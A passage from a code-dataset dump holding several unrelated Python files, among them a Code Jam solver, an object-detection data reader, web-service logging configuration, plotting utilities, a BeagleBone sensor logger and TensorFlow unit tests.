break\n\n","sub_path":"Web/plab/cbc-mac2.py","file_name":"cbc-mac2.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"578960065","text":"T = int(input())\nN, J = list(map(int, input().split()))\n\nanslist = []\n\ndef check(s):\n if(s[-1] == '0'):\n return None\n res = [s]\n for b in range(2, 11):\n num = int(s, b)\n div = -1\n for d in range(2, 1000):\n if num % d == 0:\n div = d\n break\n if div == -1:\n return None\n res.append(str(div))\n\n return res\n\ncur = '1' + '0' * (N-1)\nwhile len(anslist) < J:\n res = check(cur)\n if res != None:\n anslist.append(res)\n for i in range(N-1, -1, -1):\n if cur[i] == '1':\n cur = cur[:i] + '0' + cur[i+1:]\n else:\n cur = cur[:i] + '1' + cur[i+1:]\n break;\n\nprint('Case #1:')\nfor x in anslist:\n print(' '.join(x))\n","sub_path":"solutions_5738606668808192_1/Python/STEP5/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"98862605","text":"import sys\nimport cv2\nimport numpy as np\n\n# turns csv file to frames with data labels\ndef csv2frames(filepath, start_frame=None, scale=1):\n\n # extract the directory of the labels.csv file\n dirpath = filepath[0: filepath.index(\"labels.csv\")]\n\n # print paths to check\n print(\"PATH:\", dirpath)\n print(\"FILE:\", filepath)\n\n # try open the file\n try:\n f = open(filepath, \"r\")\n except FileNotFoundError as e:\n print(\"ERROR: file not found\")\n exit(2)\n\n # if start_frame is set, skip to frame after\n if start_frame != None:\n for line in f:\n data = line.split() # split lines by whitespaces\n if data[0] == start_frame:\n break\n\n # prev vars\n current_frame = None\n data_vector = []\n img = None\n\n # loop through (rest of) file\n for line in f:\n\n data = line.split() # split lines by whitespaces\n frame = data[0] # get frame name\n\n # skip obscured objects\n if data[5] == \"1\":\n continue\n\n # check if frame is new\n if frame != current_frame:\n\n # yield collected data\n if current_frame != None:\n yield img, data_vector\n\n # read new frame\n img = cv2.imread(dirpath+frame)\n img = cv2.resize(img, None, fx=scale, fy=scale, interpolation = cv2.INTER_CUBIC) # resize\n\n # reset variables\n current_frame = frame\n data_vector = []\n\n\n # xmin, ymin, xmax, ymax\n xyxy = np.array(data[1:5], dtype=np.int32)*scale\n\n w = xyxy[2]-xyxy[0] # width\n h = xyxy[3]-xyxy[1] # height\n\n x = xyxy[0] + w/2 # x_pos\n y = xyxy[1] + h/2 # y_pos\n\n # prep tmp_arr\n tmp_arr = [x, y, w, h]\n\n if data[6] == '\\\"car\\\"':\n tmp_arr += [1, 0, 0]\n elif data[6] == '\\\"trafficLight\\\"':\n tmp_arr += [0, 1, 0]\n elif data[6] == '\\\"truck\\\"':\n tmp_arr += [0, 0, 1]\n\n if len(tmp_arr) > 4:\n data_vector.append(tmp_arr)\n\ndef plot_shit(cell, aw, ah, bw, bh):\n #print(aw, ah, bw, bh)\n return cell\n\n\n# turns frames and frame-labels to useful training data\ndef frames2data(img, data, grid_size, anchors):\n\n img_shape = img.shape\n\n ch = int(img_shape[0]/grid_size[0])\n cw = int(img_shape[1]/grid_size[1])\n\n fack = len(data)\n data = np.matrix(data, np.float64)\n\n # get anchor number\n n_anchors = anchors.shape[0]\n\n # gem dimentions for label\n object_len = (data.shape[1]+1)\n label_len = n_anchors * object_len\n\n # loop for each grid cell\n for i in range(grid_size[0]):\n for j in range(grid_size[1]):\n\n # calc start and\n y0, y1 = ch*i, ch*(i+1)\n x0, x1 = cw*j, cw*(j+1)\n\n # get cell cell from img\n cell = img[y0:y1, x0:x1]\n\n # prep label tensor\n label = np.zeros(label_len)\n\n if fack > 0:\n # extract relevant bboxes for cell\n a = np.logical_and(x0+1 <= data[:,0], data[:,0] <= x1)\n b = np.logical_and(y0+1 <= data[:,1], data[:,1] <= y1)\n i_map = np.where(np.logical_and(a, b)) # index map over booleans\n bboxes = data[i_map[0],:]\n\n # normalize data relative to cell\n bboxes[:, 0] = (bboxes[:, 0] - x0) / cw\n bboxes[:, 1] = (bboxes[:, 1] - y0) / ch\n bboxes[:, 2] /= cw\n bboxes[:, 3] /= ch\n\n # add column of ones to bboxes\n bboxes = np.hstack([np.matrix(np.ones((bboxes.shape[0],1))), bboxes])\n\n # fill label tensor\n for bbox in bboxes:\n iou, iou_index = 0, -1\n\n for k in range(n_anchors):\n anch = anchors[k]\n\n intersec_h = 0\n intersec_w = 0\n\n #print((bbox[0,3],bbox[0,4]), (anch[0,0],anch[0,1]))\n\n if bbox[0,3] > anch[0,1]:\n intersec_w = anch[0,1]\n else:\n intersec_w = bbox[0,3]\n\n if bbox[0,4] > anch[0,0]:\n intersec_h = anch[0,0]\n else:\n intersec_h = bbox[0,4]\n\n intersec = intersec_h * intersec_w\n tot_area = bbox[0,3]*bbox[0,4] + anch[0,0]*anch[0,1] - intersec\n\n tmp_iou = intersec/tot_area\n if tmp_iou > iou:\n iou = tmp_iou\n iou_index = k\n\n if iou_index > -1:\n label[iou_index*object_len : (iou_index+1)*object_len] = bbox\n\n yield cell, label#, bboxes\n\n\n# turns csv file directly into traning data\ndef csv2data(filepath, grid_size, anchors, start_frame=None, scale=1):\n\n for img, data in csv2frames(filepath, start_frame, scale):\n temp = []\n # for x, y, _ in frames2data(img, data, grid_size, anchors):\n for x, y in frames2data(img, data, grid_size, anchors):\n temp.append(y)\n yield img, temp\n\ndef debug_heavy_read():\n if len(sys.argv) < 2:\n print(\"ERROR: no input file\")\n exit(1)\n\n cv2.namedWindow(\"data_video_show\")\n\n path = sys.argv[1]\n\n anchors = np.matrix([[0.2955072 , 0.3499784],\n [0.968816 , 1.062816 ],\n [1.723884 , 2.817972 ],\n [4.0984 , 1.837712 ],\n [5.07472 , 4.74964 ]], dtype=np.float64)\n\n grid = (13, 13)\n key = -1\n pause = False\n\n fack = 0\n shit = 0\n blank = None\n\n for img, data in csv2frames(path, None, 0.5):\n\n# for objects in data:\n# color = (np.array(objects[4:7])*255).tolist()\n# w_2 = int(objects[2]/2)\n# h_2 = int(objects[3]/2)\n# cv2.rectangle(img, (int(objects[0]) - w_2, int(objects[1]) - w_2), (int(objects[0]) + w_2, int(objects[1]) + w_2), color, 2)\n# cv2.rectangle(img, (int(objects[0]) - 1, int(objects[1]) - 1), (int(objects[0]) + 1, int(objects[1]) + 1), color, 2)\n# #img[int(objects[2]):int(objects[4]), int(objects[1]):int(objects[3])] = color\n\n\n for x, y, bbs in frames2data(img, data, grid, anchors):\n blank = np.copy(img)\n\n print(y.tolist())\n\n h, w = x.shape[0], x.shape[1]\n #print(h, w)\n #print(x.shape)\n #blank[(shit*h)+(shit*2):(shit*2)+((shit+1)*h), (fack*2)+(fack*w):(fack*2)+((fack+1)*w)] = x\n blank[(shit*h):((shit+1)*h), (fack*w):((fack+1)*w)] = x*0.4\n\n #blank_backup = np.copy(blank)\n\n for bb in bbs:\n color = np.array(bb[:,5:8]*255, dtype=int).tolist()[0]\n w_2 = int(bb[0,3]/2 * w)\n h_2 = int(bb[0,4]/2 * h)\n xpos = int(bb[0,1] * w) + (fack*w)\n ypos = int(bb[0,2] * h) + (shit*h)\n\n for anch in anchors:\n anch_h2 = int(anch[0,0]/2*h)\n anch_w2 = int(anch[0,1]/2*w)\n cv2.rectangle(blank, (int(xpos) - anch_w2, int(ypos) - anch_h2), (int(xpos) + anch_w2, int(ypos) + anch_h2), [255,255,255], 1)\n\n cv2.rectangle(blank, (int(xpos) - 1, int(ypos) - 1), (int(xpos) + 1, int(ypos) + 1), color, 1)\n cv2.rectangle(blank, (int(xpos) - w_2, int(ypos) - h_2), (int(xpos) + w_2, int(ypos) + h_2), color, 1)\n\n\n\n cv2.imshow('data_video_show', blank)\n\n fack += 1\n if fack == grid[1]:\n fack = 0\n shit = (shit+1)%grid[0]\n\n key = -1\n if pause == True:\n key = cv2.waitKey(0)\n else:\n key = cv2.waitKey(1)\n\n if key == 32:\n pause = not pause\n elif key == 13:\n pass\n elif key > -1:\n cv2.destroyWindow(\"data_video_show\")\n exit(0)\n\ndef example():\n if len(sys.argv) < 2:\n print(\"ERROR: no input file\")\n exit(1)\n\n cv2.namedWindow(\"example_window\")\n\n path = sys.argv[1]\n\n # height and width of each anchor compared to grid cell\n anchors = np.matrix([[0.23640576 , 0.27998272],\n [0.7750528 , 0.8502528 ],\n [1.3791072 , 2.2543776 ],\n [3.27872 , 1.4701696 ],\n [4.059776 , 3.799712 ]] , dtype=np.float64)\n\n print(anchors)\n\n # define grid\n grid = (13, 13)\n\n # loop through data\n for x, y in csv2data(path, grid, anchors, start_frame=None, scale=0.25):\n\n cv2.imshow('example_window', x)\n print(y.tolist())\n\n key = cv2.waitKey(10)\n if key > -1:\n cv2.destroyWindow(\"example_window\")\n exit(0)\n\n\n# main function\nif __name__ == '__main__':\n example()\n #debug_heavy_read()\n\n\n","sub_path":"experiments/cnn_py/datareader.py","file_name":"datareader.py","file_ext":"py","file_size_in_byte":9071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"424893023","text":"\"\"\"Functionality related to statsd, sentry and freeform logging.\"\"\"\nfrom collections import deque\nimport logging\nimport logging.config\nimport time\n\nimport markus\nfrom pyramid.httpexceptions import HTTPException, HTTPClientError, HTTPRedirection\nfrom raven import Client as RavenClient\nfrom raven.transport.gevent import GeventedHTTPTransport\nfrom raven.transport.http import HTTPTransport\nfrom raven.transport.threaded import ThreadedHTTPTransport\n\nfrom ichnaea.conf import settings\nfrom ichnaea.exceptions import BaseClientError\nfrom ichnaea.util import version_info\n\n\nMETRICS = markus.get_metrics()\n\n\ndef configure_logging():\n \"\"\"Configure Python logging.\"\"\"\n local_dev_env = settings(\"local_dev_env\")\n logging_level = settings(\"logging_level\")\n\n if local_dev_env:\n handlers = [\"console\"]\n else:\n handlers = [\"mozlog\"]\n\n logging_config = {\n \"version\": 1,\n \"disable_existing_loggers\": True,\n \"formatters\": {\n \"app\": {\"format\": \"%(asctime)s %(levelname)-5s [%(name)s] - %(message)s\"},\n \"json\": {\n \"()\": \"dockerflow.logging.JsonLogFormatter\",\n \"logger_name\": \"ichnaea\",\n },\n },\n \"handlers\": {\n \"console\": {\n \"class\": \"logging.StreamHandler\",\n \"formatter\": \"app\",\n \"level\": \"DEBUG\",\n },\n \"mozlog\": {\n \"class\": \"logging.StreamHandler\",\n \"formatter\": \"json\",\n \"level\": \"DEBUG\",\n },\n },\n \"loggers\": {\n \"alembic\": {\n \"propagate\": False,\n \"handlers\": handlers,\n \"level\": logging_level,\n },\n \"celery\": {\n \"propagate\": False,\n \"handlers\": handlers,\n \"level\": logging_level,\n },\n \"ichnaea\": {\n \"propagate\": False,\n \"handlers\": handlers,\n \"level\": logging_level,\n },\n \"markus\": {\n \"propagate\": False,\n \"handlers\": handlers,\n \"level\": logging_level,\n },\n },\n \"root\": {\"handlers\": handlers, \"level\": \"WARNING\"},\n }\n\n logging.config.dictConfig(logging_config)\n\n\nRAVEN_TRANSPORTS = {\n # Used in the webapp\n \"gevent\": GeventedHTTPTransport,\n # Used in the tests\n \"sync\": HTTPTransport,\n # Used in celery\n \"threaded\": ThreadedHTTPTransport,\n}\n\n\ndef configure_raven(transport=None, _client=None):\n \"\"\"Configure and return a :class:`raven.Client` instance.\n\n :param transport: The transport to use, one of the\n :data:`RAVEN_TRANSPORTS` keys.\n :param _client: Test-only hook to provide a pre-configured client.\n \"\"\"\n if _client is not None:\n return _client\n\n transport = RAVEN_TRANSPORTS.get(transport)\n if not transport:\n raise ValueError(\"No valid raven transport was configured.\")\n\n dsn = settings(\"sentry_dsn\")\n klass = DebugRavenClient if not dsn else RavenClient\n info = version_info()\n release = info.get(\"version\") or info.get(\"commit\") or \"unknown\"\n client = klass(dsn=dsn, transport=transport, release=release)\n return client\n\n\ndef configure_stats():\n \"\"\"Configure Markus for metrics.\"\"\"\n local_dev_env = settings(\"local_dev_env\")\n if local_dev_env:\n markus.configure(backends=[{\"class\": \"markus.backends.logging.LoggingMetrics\"}])\n return\n\n if settings(\"statsd_host\"):\n markus.configure(\n backends=[\n {\n \"class\": \"markus.backends.datadog.DatadogMetrics\",\n \"options\": {\n \"statsd_host\": settings(\"statsd_host\"),\n \"statsd_port\": settings(\"statsd_port\"),\n \"statsd_namespace\": \"location\",\n },\n }\n ]\n )\n else:\n logging.getLogger(__name__).warning(\"STATSD_HOST not set; no statsd configured\")\n\n\ndef log_tween_factory(handler, registry):\n \"\"\"A logging tween, doing automatic statsd and raven collection.\"\"\"\n\n def log_tween(request):\n if request.path in registry.skip_logging or request.path.startswith(\"/static\"):\n # shortcut handling for static assets\n try:\n return handler(request)\n except HTTPException:\n # don't capture exceptions for normal responses\n raise\n except Exception:\n registry.raven_client.captureException()\n raise\n\n start = time.time()\n statsd_tags = [\n # Convert a URI to a statsd acceptable metric name\n \"path:%s\" % request.path.replace(\"/\", \".\").lstrip(\".\").replace(\"@\", \"-\"),\n \"method:%s\" % request.method.lower(),\n ]\n\n def timer_send():\n duration = int(round((time.time() - start) * 1000))\n METRICS.timing(\"request.timing\", duration, tags=statsd_tags)\n\n def counter_send(status_code):\n METRICS.incr(\"request\", tags=statsd_tags + [\"status:%s\" % status_code])\n\n try:\n response = handler(request)\n timer_send()\n counter_send(response.status_code)\n return response\n except (BaseClientError, HTTPRedirection) as exc:\n # don't capture exceptions\n timer_send()\n counter_send(exc.status_code)\n raise\n except HTTPClientError:\n # ignore general client side errors\n raise\n except Exception as exc:\n timer_send()\n if isinstance(exc, HTTPException):\n status = exc.status_code\n else:\n status = 500\n counter_send(status)\n registry.raven_client.captureException()\n raise\n\n return log_tween\n\n\nclass DebugRavenClient(RavenClient):\n \"\"\"An in-memory raven client with an inspectable message queue.\"\"\"\n\n def __init__(self, *args, **kw):\n super(DebugRavenClient, self).__init__(*args, **kw)\n self.msgs = deque(maxlen=100)\n\n def _clear(self):\n self.msgs.clear()\n self.context.clear()\n\n def is_enabled(self):\n return True\n\n def send(self, auth_header=None, **data):\n self.msgs.append(data)\n self._successful_send()\n\n def check(self, expected=()):\n \"\"\"\n Checks the raven message stream looking for the expected messages.\n\n The expected argument should be a list of either names or tuples.\n\n If it is a tuple, it should be a tuple of name and an expected count.\n\n The names are matched via startswith against the captured exception\n messages.\n \"\"\"\n messages = [msg[\"message\"] for msg in self.msgs]\n matched_msgs = []\n for exp in expected:\n count = 1\n name = exp\n if isinstance(exp, tuple):\n name, count = exp\n matches = [msg for msg in self.msgs if msg[\"message\"].startswith(name)]\n matched_msgs.extend(matches)\n assert len(matches) == count, messages\n\n for msg in matched_msgs:\n self.msgs.remove(msg)\n","sub_path":"ichnaea/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":7273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"9335379","text":"# Utility to convert text to pixels\n# Usage: asciiconv.py [text]\n\nimport sys\nfrom PIL import Image\n\n\nif(len(sys.argv) < 2):\n print(\"Usage: asciiconv.py [text]\")\n sys.exit()\n\nst = ' '.join(sys.argv[1:])\n\nbinstr = []\nfor c in st:\n binstr.append(format(ord(c), 'b')[::-1])\n\nim = Image.new(\"RGB\", (7, len(binstr) * 2), (255, 255, 255))\nx = 0\ny = 0\nfor i in binstr:\n for c in i:\n if(c) == \"1\":\n im.putpixel((x, y), (0, 0, 0))\n x += 1\n x = 0\n im.putpixel((x, y + 1), (0, 255, 0))\n y += 2\nim.save(\"text.png\")\nprint('saved to text.png')","sub_path":"asciiconv.py","file_name":"asciiconv.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"569984038","text":"import numpy as np\nimport seaborn as sns\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport os\nimport copy\nimport time\nimport pickle\nimport networkx\nimport holoviews as hv\nimport csv, codecs, cStringIO\nimport sys\nimport math\nimport random\nfrom itertools import cycle\nfrom collections import namedtuple\nimport pandas as pd\nfrom scipy.spatial import distance_matrix\nimport analysistools as atools\n\ndef plotScanGen(scanData, scanLabel, scanIndices, interest, indexOffset, aggregateMode, plotName, cmap, fmt='.2g', vmin = None, vmax = None, annotate=False, silent=True, visual=True, dump=False, backup=False, dumpdir='plots'): \n if not os.path.exists(dumpdir):\n os.mkdir(dumpdir)\n\n scanPlotIndex, scanPlotData = scanGen(scanData, interest, indexOffset, aggregateMode, silent=silent)\n\n if backup:\n pickle.dump(scanPlotIndex, open(\"{}-gen-scanPlotIndex.pickle\".format(plotName), \"wb\"))\n pickle.dump(scanPlotData, open(\"{}-gen-scanPlotData.pickle\".format(plotName), \"wb\"))\n\n plotData = np.zeros((len([i[1] for i in scanPlotData[0]]),len(scanPlotIndex)))\n annotData = np.zeros((len([i[1] for i in scanPlotData[0]]),len(scanPlotIndex)))\n\n cursorA = 0\n for i in range(len(scanPlotIndex)):\n scanPlotDatum = scanPlotData[cursorA]\n cursorB = 0\n for _ in [i[1] for i in scanPlotDatum]: \n plotData[cursorB][cursorA] = scanPlotDatum[cursorB][1]\n annotData[cursorB][cursorA] = scanPlotDatum[cursorB][1]\n cursorB += 1\n cursorA += 1\n\n annot = annotData if annotate else False \n\n ax = sns.heatmap(plotData, linewidth=1, annot=annot, cmap=cmap, vmin=vmin, vmax=vmax, fmt=fmt)\n plt.title('{}'.format(plotName))\n ax.set_xticks([i+0.5-indexOffset for i in scanIndices])\n ax.invert_yaxis()\n ax.set_xticklabels([i for i in scanIndices])\n plt.xlabel('{}'.format(scanLabel))\n plt.ylabel('generation')\n if dump:\n plt.savefig('{}/{}.png'.format(dumpdir,plotName));\n if visual:\n plt.show();\n\ndef plotScanCustom(scanData, scanLabel, scanIndices, interest, indexOffset, aggregateMode, plotName, cmap, interestKey, interestKeyLabel, tickerRange, tickerBlockSize, tickerBlockOffset, tickerInterval=0.0, fmt='.2g', vmin = None, vmax = None, annotate=False, linecolor='black', silent=True, visual=True, dump=False, backup=False, dumpdir='plots'): \n if not os.path.exists(dumpdir):\n os.mkdir(dumpdir)\n\n scanPlotIndex, scanPlotData = scanCustom(scanData, interestKey, interestKeyLabel, tickerRange, tickerBlockSize, tickerBlockOffset, interest, indexOffset, aggregateMode, tickerInterval=tickerInterval,silent=silent)\n\n if backup:\n pickle.dump(scanPlotIndex, open(\"{}-{}-scanPlotIndex.pickle\".format(plotName,interestKeyLabel), \"wb\"))\n pickle.dump(scanPlotData, open(\"{}-{}-scanPlotData.pickle\".format(plotName,interestKeyLabel), \"wb\"))\n\n plotData = np.zeros((len([i[1] for i in scanPlotData[0]]),len(scanPlotIndex)))\n annotData = np.zeros((len([i[1] for i in scanPlotData[0]]),len(scanPlotIndex)))\n\n cursorA = 0\n for i in range(len(scanPlotIndex)):\n scanPlotDatum = scanPlotData[cursorA]\n cursorB = 0\n for _ in [i[1] for i in scanPlotDatum]: \n plotData[cursorB][cursorA] = scanPlotDatum[cursorB][1]\n annotData[cursorB][cursorA] = scanPlotDatum[cursorB][1]\n cursorB += 1\n cursorA += 1\n\n annot = annotData if annotate else False \n\n ax = sns.heatmap(plotData, linewidth=1, annot=annot, cmap=cmap, vmin=vmin, vmax=vmax, fmt=fmt, linecolor=linecolor)\n plt.title('{}'.format(plotName))\n ax.set_xticks([i+0.5-indexOffset for i in scanIndices])\n ax.set_xticklabels([i for i in scanIndices])\n ax.invert_yaxis()\n yticklabels = [0]\n for tickerBlock in range(tickerRange):\n yticklabels.append(tickerBlock*tickerBlockSize+tickerBlockOffset)\n ax.set_yticks([i for i in range(0,(tickerRange+1))])\n ax.set_yticklabels(yticklabels)\n ax.set_facecolor('#F5F5F5')\n plt.xlabel('{}'.format(scanLabel))\n plt.ylabel('{}'.format(interestKeyLabel))\n if dump:\n plt.savefig('{}/{}.png'.format(dumpdir,plotName));\n if visual:\n plt.show();\n\ndef plotRotationTrajectory(data):\n colors = []\n colStep = 1.0/float(len(data))\n for i in range(len(data)):\n colors.append((colStep*i,0.0,1.0-colStep*i,1.0))\n \n startPoint = 0\n X, Y, Z = zip(*data[startPoint:])\n fig = plt.figure(figsize=(13, 13))\n ax = fig.add_subplot(111, projection='3d')\n ax.plot(X,Y,Z,alpha=0.4)\n ax.scatter(X, Y, Z,c=colors[startPoint:])\n return fig\n\ndef plotRotationTrajectoryOnSphere(data,fig=plt.figure(figsize=(13, 13))):\n colors = []\n colStep = 1.0/float(len(data))\n for i in range(len(data)):\n colors.append((colStep*i,0.0,1.0-colStep*i,1.0))\n \n startPoint = 0\n X, Y, Z = zip(*data[startPoint:])\n ax = fig.add_subplot(111, projection='3d')\n ax.plot(X,Y,Z,alpha=0.4)\n ax.set_xlim([-4.0,4.0])\n ax.set_ylim([-4.0,4.0])\n ax.set_zlim([-4.0,4.0])\n u, v = np.mgrid[0:2*np.pi:200j, 0:np.pi:200j]\n sx = 4.0*np.cos(u)*np.sin(v)\n sy = 4.0*np.sin(u)*np.sin(v)\n sz = 4.0*np.cos(v)\n ax.plot_wireframe(sx, sy, sz, color=\"r\",alpha=0.05)\n ax.scatter(X, Y, Z,c=colors[startPoint:])\n return fig\n","sub_path":"tools/plottools.py","file_name":"plottools.py","file_ext":"py","file_size_in_byte":5341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"7138667","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: C:\\Users\\Ryan\\Documents\\GitHub\\FoxDot\\FoxDot\\lib\\Extensions\\VRender\\MidiFactory.py\n# Compiled at: 2019-01-02 07:34:07\n# Size of source mod 2**32: 527 bytes\nfrom midiutil import MIDIFile\n\ndef createMidi(midi_file, composition):\n print('Composition:')\n print(composition)\n MyMIDI = MIDIFile(1)\n track = 0\n channel = 0\n for note in composition:\n pitch = note[0]\n duration = note[1]\n volume = note[2]\n time = note[3]\n MyMIDI.addNote(track, channel, pitch, time, duration, volume)\n\n with open(midi_file, 'wb') as (output_file):\n MyMIDI.writeFile(output_file)","sub_path":"pycfiles/FoxDot-0.8.8.tar/MidiFactory.cpython-36.py","file_name":"MidiFactory.cpython-36.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"290028459","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.6 (62161)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/coils/core/icalendar/render_note.py\n# Compiled at: 2012-10-12 07:02:39\nimport vobject\nfrom dateutil.tz import gettz\n\ndef render_note(note, journal, ctx, **params):\n journal.add('uid').value = ('coils://Note/{0}').format(note.object_id)\n journal.add('summary').value = note.title\n journal.add('description').value = note.content\n journal.add('dtstart').value = note.created.astimezone(params['utc_tz'])\n if note.modified is None:\n journal.add('last-modified').value = note.created.astimezone(params['utc_tz'])\n else:\n journal.add('last-modified').value = note.modified.astimezone(params['utc_tz'])\n if note.categories is not None:\n journal.add('categories').value = note.categories.split(',')\n if note.appointment_id is not None:\n journal.add('x-coils-appointment-id').value = unicode(note.appointment_id)\n if note.project_id is not None:\n journal.add('x-coils-project-id').value = unicode(note.project_id)\n if note.company_id is not None:\n journal.add('x-coils-company-id').value = unicode(note.company_id)\n if note.version is None:\n journal.add('x-coils-object-version').value = '0'\n else:\n journal.add('x-coils-object-version').value = unicode(note.version)\n if note.abstract is not None:\n journal.add('x-coils-abstract').value = note.abstract\n return","sub_path":"pycfiles/OpenGroupware-0.1.48-py2.6/render_note.py","file_name":"render_note.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"54629401","text":"#sensor logger, ver. 1.0\n# import Adafruit_BBIO.GPIO as GPIO\nimport Adafruit_BBIO.ADC as ADC\nimport time\nimport datetime\nfrom datetime import timedelta\nimport numpy as np\n\n# SENSOR DATA IS: \n\ndef write_last(sens_data, time_now, time_delta, fname):\n\n #write the last data\n with open(fname, 'a') as iFile:\n iFile.write(time_now + \\\n \"\\t\" + \"\\t\".join([str(x_) for x_ in sens_data]) + \"\\n\")\n\n #read the file\n sens_all_dat = []\n time_all_dat = []\n time_all_str = []\n with open(fname, \"r\") as iFile:\n for i_ in iFile:\n j_ = i_.strip().split('\\t')\n time_ = j_[0]\n sens_ = j_[1:]\n sens_all_dat.append(sens_)\n time_all_str.append(time_)\n time_all_dat.append(datetime.datetime.strptime(time_, \"%Y-%m-%d %H:%M:%S.%f\"))\n time_all_dat = np.array(time_all_dat)\n sens_all_dat = np.array(sens_all_dat)\n time_all_str = np.array(time_all_str)\n\n #remove far than time_lenght\n time_short = time_all_str[time_all_dat[-1] - time_all_dat < time_delta]\n sens_short = sens_all_dat[time_all_dat[-1] - time_all_dat < time_delta]\n with open(fname, 'w') as iFile:\n for ii in range(len(time_short)):\n iFile.write(time_short[ii] + \"\\t\"\\\n + \"\\t\".join([str(x_) for x_ in sens_short[ii]]) + \"\\n\")\n\n\n\n#setup and constants\nADC.setup()\nP_temp = \"P9_37\"\nP_light = \"P9_40\"\n\nf_log = \"sensors.log\"\ndays_records = 60 # 60 days of records\nsleep_time = 15*60 # every 15 mins\nn_reps = int(days_records * 24 * 60 * 60 / sleep_time)\n\nn = 3 # number of measurements for temp\n\n #main loop\n\nfor j in range(n_reps):\n time_ = str(datetime.datetime.now())\n\n ### measure ###\n #temperature\n t = 0\n for i in range(n):\n t += ADC.read(P_temp) * 0.18 * 1000\n # t += 0.35\n temp_ = str(t/n)\n #light\n light_ = 1.0 - ADC.read(P_light)\n # light_ = 0.1\n\n sen1_ = 'na'\n sen2_ = 'na'\n sen3_ = 'na'\n\n sensors_data = [temp_, light_, sen1_, sen2_, sen3_ ]\n\n ## save ##\n #main\n with open(f_log, 'a') as iFile:\n iFile.write(time_ + \"\\t\"\\\n + \"\\t\".join([str(x_) for x_ in sensors_data]) + \"\\n\")\n\n\n #24h\n td = timedelta(hours=24)\n write_last(sensors_data, time_, td, \"24h_\" + f_log)\n #7 days\n td = timedelta(days=7)\n write_last(sensors_data, time_, td, \"7d_\" + f_log)\n #30 days\n td = timedelta(days=30)\n write_last(sensors_data, time_, td, \"30d_\" + f_log)\n\n ##sleep##\n time.sleep(sleep_time)\n\n","sub_path":"bbb_master/sensors_logger.py","file_name":"sensors_logger.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"258983938","text":"# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# Lint as: python2, python3\n\"\"\"Tests for math.piecewise.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom tf_quant_finance.math import piecewise\nfrom tensorflow.python.framework import test_util # pylint: disable=g-direct-tensorflow-import\n\n\n@test_util.run_all_in_graph_and_eager_modes\nclass Piecewise(tf.test.TestCase):\n \"\"\"Tests for methods in piecewise module.\"\"\"\n\n def test_find_interval_index_correct_dtype(self):\n \"\"\"Tests find_interval_index outputs the correct type.\"\"\"\n result = self.evaluate(piecewise.find_interval_index([1.0], [0.0, 1.0]))\n self.assertIsInstance(result[0], np.int32)\n\n def test_find_interval_index_one_interval(self):\n \"\"\"Tests find_interval_index is correct with one half-open interval.\"\"\"\n result = self.evaluate(piecewise.find_interval_index([1.0], [1.0]))\n self.assertAllEqual(result, [0])\n\n result = self.evaluate(piecewise.find_interval_index([0.0], [1.0]))\n self.assertAllEqual(result, [-1])\n\n result = self.evaluate(piecewise.find_interval_index([2.0], [1.0]))\n self.assertAllEqual(result, [0])\n\n def test_find_interval_index(self):\n \"\"\"Tests find_interval_index is correct in the general case.\"\"\"\n interval_lower_xs = [0.25, 0.5, 1.0, 2.0, 3.0]\n query_xs = [0.25, 3.0, 5.0, 0.0, 0.5, 0.8]\n result = piecewise.find_interval_index(query_xs, interval_lower_xs)\n self.assertAllEqual(result, [0, 4, 4, -1, 1, 1])\n\n def test_find_interval_index_last_interval_is_closed(self):\n \"\"\"Tests find_interval_index is correct in the general case.\"\"\"\n result = piecewise.find_interval_index([3.0, 4.0], [2.0, 3.0],\n last_interval_is_closed=True)\n self.assertAllEqual(result, [0, 1])\n\n\nif __name__ == '__main__':\n tf.test.main()\n","sub_path":"tf_quant_finance/math/piecewise_test.py","file_name":"piecewise_test.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"124326637","text":"\"\"\"\nTests for AnalogInput class methods\n\"\"\"\nimport xml.etree.ElementTree as ET\nfrom analogin import AnalogInput\n\ndef msg_from_file(file=\"to_pxi.txt\"): # \n\tmsgs = []\n\twith open(file) as f:\n\t\tlines = f.readlines()\n\t\tfor line in lines:\n\t\t\tif \"NEW MESSAGE\" in line:\n\t\t\t\tmsgs.append('')\n\t\t\t\tcontinue\n\t\t\tmsgs[-1] += line\n\treturn msgs\n\nif __name__ == \"__main__\":\n\tmsg = msg_from_file()[0]\n\troot = 